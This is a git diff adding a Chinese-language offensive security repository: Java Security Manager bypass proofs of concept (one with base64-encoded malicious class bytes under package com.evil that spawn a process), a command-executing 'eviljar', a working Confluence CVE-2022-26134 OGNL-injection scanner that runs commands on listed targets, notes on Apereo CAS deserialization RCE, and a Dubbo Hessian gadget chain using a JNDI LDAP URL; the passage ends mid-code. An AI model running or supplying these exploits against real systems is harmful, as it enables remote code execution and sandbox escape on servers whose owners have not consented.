diff --git a/BypassSM/BypassOfCreateClassLoader.java b/BypassSM/BypassOfCreateClassLoader.java
new file mode 100644
index 0000000..21ec80e
--- /dev/null
+++ b/BypassSM/BypassOfCreateClassLoader.java
@@ -0,0 +1,54 @@
+package com.evil;
+
+import java.security.*;
+import java.security.cert.Certificate;
+
+public class MyPoc {
+ //-Djava.security.manager -Djava.security.policy==bypass-by-createclassloader.policy
+ static {
+ try {
+ Exp();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static void Exp() throws Exception{
+ BypassClassLoader0 bypassClassLoader = new BypassClassLoader0();
+ Class aClass0 = bypassClassLoader.get(base64Decode("yv66vgAAADQAHwoABgAWBwAXCgACABYKABgAGQcAGgcAGwEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTGV2aWxDbGFzczsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAOZXZpbENsYXNzLmphdmEMAAgACQEAC2V2aWxDbGFzcyQxBwAcDAAdAB4BAAlldmlsQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAeamF2YS9zZWN1cml0eS9BY2Nlc3NDb250cm9sbGVyAQAMZG9Qcml2aWxlZ2VkAQA0KExqYXZhL3NlY3VyaXR5L1ByaXZpbGVnZWRBY3Rpb247KUxqYXZhL2xhbmcvT2JqZWN0OwAhAAUABgAAAAAAAwABAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAAAQADAAAAAwAAQAAAAUADQAOAAAACQAPABAAAQAKAAAAKwAAAAEAAAABsQAAAAIACwAAAAYAAQAAABUADAAAAAwAAQAAAAEAEQASAAAACAATAAkAAQAKAAAAKAACAAAAAAAMuwACWbcAA7gABFexAAAAAQALAAAACgACAAAABgALABEAAgAUAAAAAgAVAAcAAAAKAAEAAgAAAAAACA=="), "evilClass");
+ bypassClassLoader.get(base64Decode("yv66vgAAADQALQoACAAcCgAdAB4IAB8KAB0AIAcAIQoABQAiBwAjBwAkBwAlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxJbm5lckNsYXNzZXMBAA1MZXZpbENsYXNzJDE7AQADcnVuAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAIQEAClNvdXJjZUZpbGUBAA5ldmlsQ2xhc3MuamF2YQEAD0VuY2xvc2luZ01ldGhvZAcAJgwACgALBwAnDAAoACkBAARjYWxjDAAqACsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAsAAsBAAtldmlsQ2xhc3MkMQEAEGphdmEvbGFuZy9PYmplY3QBAB5qYXZhL3NlY3VyaXR5L1ByaXZpbGVnZWRBY3Rpb24BAAlldmlsQ2xhc3MBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlADAABwAIAAEACQAAAAIAAAAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAGAA4AAAAMAAEAAAAFAA8AEQAAAAEAEgATAAEADAAAAGoAAgACAAAAErgAAhIDtgAEVwGwTCu2AAYBsAABAAAACgALAAUAAwANAAAAFgAFAAAACQAJAAoACwALAAwADAAQAA0ADgAAABYAAgAMAAYAFAAVAAEAAAASAA8AEQAAABYAAAAGAAFLBwAXAAMAGAAAAAIAGQAaAAAABAAbAAAAEAAAAAoAAQAHAAAAAAAI"), "evilClass$1");
+ Class.forName(aClass0.getName(), true, bypassClassLoader);
+ }
+
+ public static byte[] base64Decode(String bs) throws Exception {
+ Class base64;
+ byte[] value = null;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
+ value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
+ } catch (Exception e) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
+ } catch (Exception e2) {
+ }
+ }
+ return value;
+ }
+
+ public static class BypassClassLoader0 extends ClassLoader{
+ public Class get(byte[] b,String name) {
+ PermissionCollection pc = new Permissions();
+ pc.add(new AllPermission());
+ //设置ProtectionDomain
+ ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
+ return super.defineClass(name, b, 0, b.length,pd);
+ }
+ }
+
+ public static void main(String[] args) {
+
+ }
+}
diff --git a/BypassSM/Readme.md b/BypassSM/Readme.md
new file mode 100644
index 0000000..b80a9bd
--- /dev/null
+++ b/BypassSM/Readme.md
@@ -0,0 +1,250 @@
+# bypass-sm
+
+https://www.anquanke.com/post/id/151398
+
+https://www.mi1k7ea.com/2020/05/03/%E6%B5%85%E6%9E%90Java%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
+
+https://github.com/codeplutos/java-security-manager-bypass/
+
+
+
+## **单等号+home目录可写导致Java Security Manager绕过**
+
+>简单的说就是java程序启动的时候使用 -Djava.security.policy=java.policy 并且home目录可以写,我们就重新写一个policy 文件去提升我们的权限
+
+## **通过setSecurityManager绕过Java Security Manager**
+
+>就是通过反射去修改值达到绕过的目标。
+
+其中的该反射可以成功,原因:
+
+从代码中我们看到,正如前面所说,完成功能的是ProcessImpl.start方法,而在这个方法调用之前,security manager就已经完成了检测,于是,反射这个方法,调用它,就可以绕过检测。
+
+[java 命令执行底层](https://blog.csdn.net/qsort_/article/details/104821283)
+
+```java
+ public static void executeCommandWithReflection(String command){
+ try {
+ Class clz = Class.forName("java.lang.ProcessImpl");
+ Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
+ method.setAccessible(true);
+ method.invoke(clz,new String[]{command},null,null,null,false);
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+```
+
+## **创建类加载器绕过java security manager**
+
+>自定义一个ClassLoader来加载一个恶意类,并且把它的ProtectionDomain里面的权限初始化成所有权限,这样就能绕过Java Security Manager了
+
+[自定义ClassLoader绕过poc为什么很多人执行出现问题的缘由](https://github.com/codeplutos/java-security-manager-bypass/issues/2)
+
+Exploit.java
+
+```java
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+
+public class Exploit {
+ public Exploit() {
+
+ }
+
+ static {
+ AccessController.doPrivileged(new PrivilegedAction() {
+ public Object run() {
+ try {
+ Process process = Runtime.getRuntime().exec("calc");
+ return null;
+ } catch (Exception var2) {
+ var2.printStackTrace();
+ return null;
+ }
+ }
+ });
+ }
+}
+```
+
+MyClassLoader.java
+
+```java
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.Channels;
+import java.nio.channels.FileChannel;
+import java.nio.channels.WritableByteChannel;
+import java.security.*;
+import java.security.cert.Certificate;
+
+public class MyClassLoader extends ClassLoader {
+ public MyClassLoader() {
+ }
+
+ public MyClassLoader(ClassLoader parent) {
+ super(parent);
+ }
+
+ @Override
+ protected Class> findClass(String name) throws ClassNotFoundException {
+ File file = getClassFile(name);
+ try {
+ byte[] bytes = getClassBytes(file);
+ //在这里调用defineClazz,而不是super.defineClass
+ Class> c = defineClazz(name, bytes, 0, bytes.length);
+ return c;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return super.findClass(name);
+ }
+
+ @Override
+ public Class> loadClass(String name) throws ClassNotFoundException {
+ if (name.contains("Exploit")) {
+ return findClass(name);
+ }
+ return super.loadClass(name);
+ }
+
+ protected final Class> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
+ try {
+ PermissionCollection pc = new Permissions();
+ pc.add(new AllPermission());
+
+ //设置ProtectionDomain
+ ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
+ pc, this, null);
+ return this.defineClass(name, b, off, len, pd);
+ } catch (Exception e) {
+ return null;
+ }
+ }
+
+ private File getClassFile(String name) {
+ File file = new File("./" + name + ".class");
+ return file;
+ }
+
+ private byte[] getClassBytes(File file) throws Exception {
+ FileInputStream fis = new FileInputStream(file);
+ FileChannel fc = fis.getChannel();
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ WritableByteChannel wbc = Channels.newChannel(baos);
+ ByteBuffer by = ByteBuffer.allocate(1024);
+
+ while (true) {
+ int i = fc.read(by);
+ if (i == 0 || i == -1) {
+ break;
+ }
+
+ by.flip();
+ wbc.write(by);
+ by.clear();
+ }
+ fis.close();
+ return baos.toByteArray();
+ }
+}
+```
+
+BypassSandbox .java
+
+```java
+public class BypassSandbox {
+ public static void main(String[] args) throws Exception {
+ MyClassLoader mcl = new MyClassLoader();
+ Class> c1 = Class.forName("Exploit", true, mcl);
+ Object obj = c1.newInstance();
+ System.out.println(obj.getClass().getClassLoader());
+ }
+}
+```
+
+## **本地方法调用绕过Java Security Manager**
+
+>Java Security Manager是在java核心库中的一个功能,而java中native方法是由jvm执行的,不受java security manager管控。因此,我们可以调用java native方法,绕过java security manager。
+
+## 附录
+
+##### A
+
+| 权限名 | 用途说明 |
+| :-------------------- | :----------------------------------------------------------- |
+| accessClassInPackage. | 允许代码访问指定包中的类 |
+| accessDeclaredMembers | 允许代码使用反射访问其他类中私有或保护的成员 |
+| createClassLoader | 允许代码实例化类加载器 |
+| createSecurityManager | 允许代码实例化安全管理器,它将允许程序化的实现对沙箱的控制 |
+| defineClassInPackage. | 允许代码在指定包中定义类 |
+| exitVM | 允许代码关闭整个虚拟机 |
+| getClassLoader | 允许代码访问类加载器以获得某个特定的类 |
+| getProtectionDomain | 允许代码访问保护域对象以获得某个特定类 |
+| loadlibrary. | 允许代码装载指定类库 |
+| modifyThread | 允许代码调整指定的线程参数 |
+| modifyThreadGroup | 允许代码调整指定的线程组参数 |
+| queuePrintJob | 允许代码初始化一个打印任务 |
+| readFileDescriptor | 允许代码读文件描述符(相应的文件是由其他保护域中的代码打开的) |
+| setContextClassLoader | 允许代码为某线程设置上下文类加载器 |
+| setFactory | 允许代码创建套接字工厂 |
+| setIO | 允许代码重定向System.in、System.out或System.err输入输出流 |
+| setSecurityManager | 允许代码设置安全管理器 |
+| stopThread | 允许代码调用线程类的stop()方法 |
+| writeFileDescriptor | 允许代码写文件描述符 |
+
+##### B
+
+| 权限名 | 用途说明 |
+| :----------------------------- | :---------------------------- |
+| accessClipboard | 允许访问系统的全局剪贴板 |
+| accessEventQueue | 允许直接访问事件队列 |
+| createRobot | 允许代码创建AWT的Robot类 |
+| listenToAllAWTEvents | 允许代码直接监听事件分发 |
+| readDisplayPixels | 允许AWT Robot读显示屏上的像素 |
+| showWindowWithoutWarningBanner | 允许创建无标题栏的窗口 |
+
+##### C
+
+| 权限名 | 用途说明 |
+| :---------------------------- | :---------------------------- |
+| specifyStreamHandler | 允许在URL类中安装新的流处理器 |
+| setDefaultAuthenticator | 可以安装鉴别类 |
+| requestPassworkAuthentication | 可以完成鉴别 |
+
+##### D
+
+| 权限名 | 用途说明 |
+| :------------------------- | :--------------------------------------- |
+| addIdentityCertificate | 为Identity增加一个证书 |
+| clearProviderProperties. | 针对指定的提供者,删除所有属性 |
+| createAccessControlContext | 允许创建一个存取控制器的上下文环境 |
+| getDomainCombiner | 允许撤销保护域 |
+| getPolicy | 检索可以实现沙箱策略的类 |
+| getProperty. | 读取指定的安全属性 |
+| getSignerPrivateKey | 由Signer对象获取私有密钥 |
+| insertProvider. | 将指定的提供者添加到响应的安全提供者组中 |
+| loadProviderProperties. | 装载指定的提供者的属性 |
+| printIdentity | 打印Identity类内容 |
+| putAllProviderProperties. | 更新指定的提供者的属性 |
+| putProviderProperty. | 为指定的提供者增加一个属性 |
+| removeIdentityCertificate | 取消Identity对象的证书 |
+| removeProvider. | 将指定的提供者从相应的安全提供者组中删除 |
+| removeProviderProperty. | 删除指定的安全提供者的某个属性 |
+| setIdentityInfo | 为某个Identity对象设置信息串 |
+| setIdentityPublicKey | 为某个Identity对象设置公钥 |
+| setPolicy | 设置可以实现沙箱策略的类 |
+| setProperty. | 设置指定的安全属性 |
+| setSignerKeyPair | 在Signer对象中设置密钥对 |
+| setSystemScope | 设置系统所用的IdentityScope |
+
+##### E
+
+| 权限名 | 用途说明 |
+| :--------------------------- | :----------------------------------------------------------- |
+| enableSubstitution | 允许实现ObjectInputStream类的enableResolveObject()方法和ObjectOutputStream类的enableReplaceObject()方法 |
+| enableSubclassImplementation | 允许ObjectInputStream和ObjectOutputStream创建子类,子类可以覆盖readObject()和writeObject()方法 |
diff --git a/BypassSM/check.txt b/BypassSM/check.txt
new file mode 100644
index 0000000..03400bf
--- /dev/null
+++ b/BypassSM/check.txt
@@ -0,0 +1,31 @@
+checkAccept(String, int)
+checkAccess(Thread)
+checkAccess(ThreadGroup)
+checkAwtEventQueueAccess()
+checkConnect(String, int)
+checkConnect(String, int, Object)
+checkCreateClassLoader()
+checkDelete(String)
+checkExec(String)
+checkExit(int)
+checkLink(String)
+checkListen(int)
+checkMemberAccess(Class>, int)
+checkMulticast(InetAddress)
+checkMulticast(InetAddress, byte)
+checkPackageAccess(String)
+checkPackageDefinition(String)
+checkPermission(Permission)
+checkPermission(Permission, Object)
+checkPrintJobAccess()
+checkPropertiesAccess()
+checkPropertyAccess(String)
+checkRead(FileDescriptor)
+checkRead(String)
+checkRead(String, Object)
+checkSecurityAccess(String)
+checkSetFactory()
+checkSystemClipboardAccess()
+checkTopLevelWindow(Object)
+checkWrite(FileDescriptor)
+checkWrite(String)
\ No newline at end of file
diff --git a/BypassSM/learn/bypass_sm.jar b/BypassSM/learn/bypass_sm.jar
new file mode 100644
index 0000000..e2a0c13
Binary files /dev/null and b/BypassSM/learn/bypass_sm.jar differ
diff --git a/BypassSM/learn/eviljar/pom.xml b/BypassSM/learn/eviljar/pom.xml
new file mode 100644
index 0000000..a3e89f3
--- /dev/null
+++ b/BypassSM/learn/eviljar/pom.xml
@@ -0,0 +1,37 @@
+
+
+
+ learn
+ org.example
+ 1.0-SNAPSHOT
+
+ 4.0.0
+
+ eviljar
+
+
+ 8
+ 8
+
+
+
+
+ org.apache.maven.plugins
+ maven-assembly-plugin
+ 2.5.5
+
+
+
+ ErrorBaseExec
+
+
+
+ jar-with-dependencies
+
+
+
+
+
+
\ No newline at end of file
diff --git a/BypassSM/learn/eviljar/src/main/java/bypass_sm.java b/BypassSM/learn/eviljar/src/main/java/bypass_sm.java
new file mode 100644
index 0000000..507d440
--- /dev/null
+++ b/BypassSM/learn/eviljar/src/main/java/bypass_sm.java
@@ -0,0 +1,86 @@
+import java.io.*;
+import java.lang.reflect.Method;
+import java.util.Map;
+
+public class bypass_sm
+{
+ public bypass_sm() {
+ try {
+ bypass(new String[]{"ipconfig"});
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static void bypass(String[] cmd) throws Exception{
+ Map envblock=null;
+ String path=null;
+ ProcessBuilder.Redirect[] stdHandles=null;
+ boolean redirectErrorStream=true;
+
+ Class C = Class.forName("java.lang.ProcessImpl");
+ Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
+ start.setAccessible(true);
+ Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream);
+
+ BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream()));
+ String line;
+ while ((line=bufferedReader.readLine())!=null){
+ System.out.println(line);
+ }
+ bufferedReader.close();
+ }
+
+
+ public static Process ProcessImpl(String[] cmd)throws Exception{
+ Map envblock=null;
+ String path=null;
+ ProcessBuilder.Redirect[] stdHandles=null;
+ boolean redirectErrorStream=true;
+
+ Class C = Class.forName("java.lang.ProcessImpl");
+ Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
+ start.setAccessible(true);
+ Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream);
+ return e;
+ }
+
+
+ public static byte[] readBytes(InputStream in)
+ throws IOException
+ {
+ BufferedInputStream bufin = new BufferedInputStream(in);
+ int buffSize = 1024;
+ ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
+ byte[] temp = new byte[buffSize];
+ int size = 0;
+ while ((size = bufin.read(temp)) != -1) {
+ out.write(temp, 0, size);
+ }
+ bufin.close();
+
+ byte[] content = out.toByteArray();
+
+ return content;
+ }
+
+ public static void do_exec(String[] cmd)
+ throws Exception
+ {
+ Process p = ProcessImpl(cmd);
+
+ byte[] stderr = readBytes(p.getErrorStream());
+ byte[] stdout = readBytes(p.getInputStream());
+ int exitValue = p.waitFor();
+ if (exitValue == 0) {
+ throw new Exception("-----------------\r\n" + new String(stdout) + "-----------------\r\n");
+ }
+ throw new Exception("-----------------\r\n" + new String(stderr) + "-----------------\r\n");
+ }
+
+ public static void main(String[] args)
+ throws Exception
+ {
+ do_exec(new String[]{args[0]});
+ }
+}
diff --git a/BypassSM/learn/eviljar/target/classes/bypass_sm.class b/BypassSM/learn/eviljar/target/classes/bypass_sm.class
new file mode 100644
index 0000000..d7fb9d5
Binary files /dev/null and b/BypassSM/learn/eviljar/target/classes/bypass_sm.class differ
diff --git a/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT-jar-with-dependencies.jar b/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT-jar-with-dependencies.jar
new file mode 100644
index 0000000..e2a0c13
Binary files /dev/null and b/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT-jar-with-dependencies.jar differ
diff --git a/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT.jar b/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT.jar
new file mode 100644
index 0000000..6a68cbe
Binary files /dev/null and b/BypassSM/learn/eviljar/target/eviljar-1.0-SNAPSHOT.jar differ
diff --git a/BypassSM/learn/eviljar/target/maven-archiver/pom.properties b/BypassSM/learn/eviljar/target/maven-archiver/pom.properties
new file mode 100644
index 0000000..40b1317
--- /dev/null
+++ b/BypassSM/learn/eviljar/target/maven-archiver/pom.properties
@@ -0,0 +1,5 @@
+#Generated by Maven
+#Wed Oct 20 19:27:56 CST 2021
+version=1.0-SNAPSHOT
+groupId=org.example
+artifactId=eviljar
diff --git a/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 0000000..a927289
--- /dev/null
+++ b/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1 @@
+bypass_sm.class
diff --git a/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 0000000..7cc0d83
--- /dev/null
+++ b/BypassSM/learn/eviljar/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1 @@
+E:\javaȫ\bypass-sm\learn\eviljar\src\main\java\ErrorBaseExec.java
diff --git a/BypassSM/policy/custom.policy b/BypassSM/policy/custom.policy
new file mode 100644
index 0000000..054222f
--- /dev/null
+++ b/BypassSM/policy/custom.policy
@@ -0,0 +1,4 @@
+grant {
+ permission java.io.FilePermission "D:\\*", "read";
+ permission java.net.SocketPermission "www.baidu.com:1-", "connect,resolve";
+};
\ No newline at end of file
diff --git a/CAS/Readme.md b/CAS/Readme.md
new file mode 100644
index 0000000..dc04122
--- /dev/null
+++ b/CAS/Readme.md
@@ -0,0 +1,35 @@
+# CAS
+
+>[单点登录](https://baike.baidu.com/item/%E5%8D%95%E7%82%B9%E7%99%BB%E5%BD%95/4940767) [Spring Web flow 概念简介](https://liushaohuang.cn/2020/01/17/Spring-Web-flow-%E6%A6%82%E5%BF%B5%E7%AE%80%E4%BB%8B/)
+
+## 4.1.x-4.1.6
+4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
+
+类似于shiro550
+
+并且版本存在**Commons-collections4**
+
+## 4.1.7-4.2.x
+这个版本的key默认是随机生成的,需要攻击者提供。
+
+https://www.anquanke.com/post/id/198842
+
+并且存在c3p0组件
+
+## 回显
+
+https://www.00theway.org/2020/01/04/apereo-cas-rce/
+
+## PaddingOracle
+
+https://github.com/cL0und/cas4.x-execution-rce/blob/master/cas-padding-oracle.py
+
+>If the target is cas4.x-cas.4.1.6 and the environment is not hardcoded with a key, you can attack by padding oracle.
+
+https://lfysec.top/2020/06/01/ApereoCAS-PaddingOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
+
+## xxe
+https://lfysec.top/2020/06/01/ApereoCAS-PaddingOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
+
+
+
diff --git a/Confluence/CVE-2022-26134.py b/Confluence/CVE-2022-26134.py
new file mode 100644
index 0000000..4b3ee09
--- /dev/null
+++ b/Confluence/CVE-2022-26134.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+import argparse
+import re
+import requests
+import urllib3
+
+# https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
+
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+# 利用脚本
+result = [] # 结果
+
+
+# 添加
+endpoints = [
+]
+
+
+headers = {
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Cookie': 'ADMINCONSOLESESSION=1hDwvQkPnPmLyDpwJvBL1qWTyXLYvQqSlMvJv3h7xyTxz5BJtGm3!1162256454',
+ 'X-Forwarded-For': '127.0.0.1',
+ 'X-Client-IP': '127.0.0.1',
+ 'X-Remote-IP': '127.0.0.1',
+ 'X-Remote-Addr': '127.0.0.1',
+ 'X-Originating-IP': '127.0.0.1',
+}
+
+proxy = {
+ # 'http': '127.0.0.1:8080'
+}
+
+
+def check_target_version(host, socket_proxies):
+ try:
+ response = requests.get("{}/login.action".format(host),headers=headers, timeout=2, verify=False, proxies=socket_proxies, allow_redirects=False)
+ if response.status_code == 200:
+ filter_version = re.findall("", response.text)
+ if (len(filter_version) >= 1):
+ version = filter_version[0].split("'>")[1].split('')[0]
+ return version
+ else:
+ return False
+ else:
+ return host
+ except:
+ pass
+
+
+def send_payload(host, command):
+ try:
+ response = requests.get(
+ "{}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(
+ host, command), headers=headers, timeout=2, verify=False, proxies=socket_proxies, allow_redirects=False)
+ if (response.status_code == 302):
+ if "bin" in response.headers['X-Cmd-Response']:
+ result.append(host + " confluence-cve-2022-26134")
+ print(host + '\033[1;31m confluence-cve-2022-26134\033[0m')
+ # return response.headers['X-Cmd-Response']
+ else:
+ return False
+ except:
+ pass
+
+def save(result):
+ file = open('result.txt', 'w')
+ for line in result:
+ file.write(line + '\n')
+ file.close()
+
+
+def Scan_http(url, socket_proxies):
+ version = check_target_version(url,socket_proxies)
+ if version:
+ print("Confluence target version: {}".format(version))
+ else:
+ print("Can't find the used version for this target")
+ send_payload(url, "ls /")
+
+
+def fileTarget(file, socket_proxies):
+ with open(file) as url_txt:
+ urls = url_txt.readlines()
+ for url in urls:
+ url = url.replace('\n', '')
+ Scan_http(url, socket_proxies)
+ save(result)
+
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser(description='Confluence OgnL scanner')
+ parser.add_argument('-f', default=None, help='read target url from file')
+ parser.add_argument('-u', default=None, help='target url')
+ parser.add_argument('-proxy', default=None, help='-proxy socks5://0.0.0.0:8088')
+ args = parser.parse_args()
+ socket_proxies = None
+ if args.proxy:
+ socket_proxies = {
+ 'http': args.proxy
+ }
+ if args.u:
+ Scan_http(args.u, socket_proxies)
+ exit(0)
+ if args.f:
+ fileTarget(args.f, socket_proxies)
+ exit(0)
+ else:
+ parser.print_help()
+ exit(0)
diff --git a/Confluence/Readme.md b/Confluence/Readme.md
new file mode 100644
index 0000000..ce8e338
--- /dev/null
+++ b/Confluence/Readme.md
@@ -0,0 +1,13 @@
+# Confluence
+
+目前存在2个漏洞CVE-2019-3396,CVE-2021-26084
+项目中遇到了这个漏洞,并没有深入分析和利用。
+参考exp
+
++ [CVE-2019-3396_EXP](https://github.com/Yt1g3r/CVE-2019-3396_EXP)
++ [CVE-2021-26084](https://github.com/h3v0x/CVE-2021-26084_Confluence)
++ [CVE-2022-26134](https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/)
+
+## 漏洞分析
++ [Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析](https://xz.aliyun.com/t/10736)
++ [【下篇】CVE-2022-26134 Confluence 多种通用型绕过沙箱姿势可实现命令回显](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247490397&idx=1&sn=f5a7394b80f4ba690e967cb5daf8c9e0&chksm=cefda249f98a2b5f6ec4970dde26392bf43b037ae9fbe9241141aaaa5185958c484dc8522403&mpshare=1&scene=23&srcid=0606Xdmz2f953rcByqNR2SFV&sharer_sharetime=1654481651804&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd)
diff --git a/Dubbo/Readme.md b/Dubbo/Readme.md
new file mode 100644
index 0000000..83d0ac4
--- /dev/null
+++ b/Dubbo/Readme.md
@@ -0,0 +1,196 @@
+# Dubbo
+
+>Apache Dubbo 是伪装的、轻量级的Java RPC 服务框架。[RPC服务](https://www.zhihu.com/question/25536695)
+>[默认反序列化利用之hessian2](https://www.anquanke.com/post/id/197658)
+
+### CVE-2019-17564
+>spring (spring-web(5.1.9.RELEASE)) 的httpinvoker 可能存在反序列化漏洞 [docs](https://docs.spring.io/spring-framework/docs/5.1.0.RELEASE/spring-framework-reference/integration.html#remoting-httpinvoker)
+
+http://www.lmxspace.com/2020/02/16/Apache-Dubbo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/
+
+https://www.mi1k7ea.com/2021/07/03/%E6%B5%85%E6%9E%90Dubbo-HttpInvokerServiceExporter%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/
+
+演示:https://github.com/vulhub/vulhub/blob/master/dubbo/CVE-2019-17564/README.zh-cn.md
+
+### CVE-2020-1948
+https://www.anquanke.com/post/id/209251
+```
+2.7.0 <= Dubbo Version <= 2.7.6
+2.6.0 <= Dubbo Version <= 2.6.7
+Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
+```
+
+### CVE-2020-11995
+
+CVE-2020-1948的绕过
+
+```
+Dubbo 2.7.0 ~ 2.7.8
+Dubbo 2.6.0 ~ 2.6.8
+Dubbo 所有 2.5.x 版本
+```
+
+```java
+import com.rometools.rome.feed.impl.EqualsBean;
+import com.rometools.rome.feed.impl.ToStringBean;
+import com.sun.rowset.JdbcRowSetImpl;
+import java.io.ByteArrayOutputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Constructor;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Random;
+import marshalsec.util.Reflections;
+import org.apache.dubbo.common.io.Bytes;
+import org.apache.dubbo.common.serialize.Cleanable;
+import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
+
+/**
+ * CVE-2020-1948 exp
+ * if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) {
+ * throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
+ * }
+ * 下面有绕过CVE-2020-11995
+ * 调用的函数名为 "$invoke"、 "$invokeAsync"、"$echo"三者之一
+ */
+public class GadgetsTestHessian {
+
+ public static void main(String[] args) throws Exception {
+ JdbcRowSetImpl rs = new JdbcRowSetImpl();
+ //todo 此处填写ldap url
+ rs.setDataSourceName("ldap://127.0.0.1:43658/ExecObject");
+ rs.setMatchColumn("foo");
+ Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
+
+ ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
+ EqualsBean root = new EqualsBean(ToStringBean.class, item);
+
+ HashMap s = new HashMap<>();
+ Reflections.setFieldValue(s, "size", 2);
+ Class> nodeC;
+ try {
+ nodeC = Class.forName("java.util.HashMap$Node");
+ }
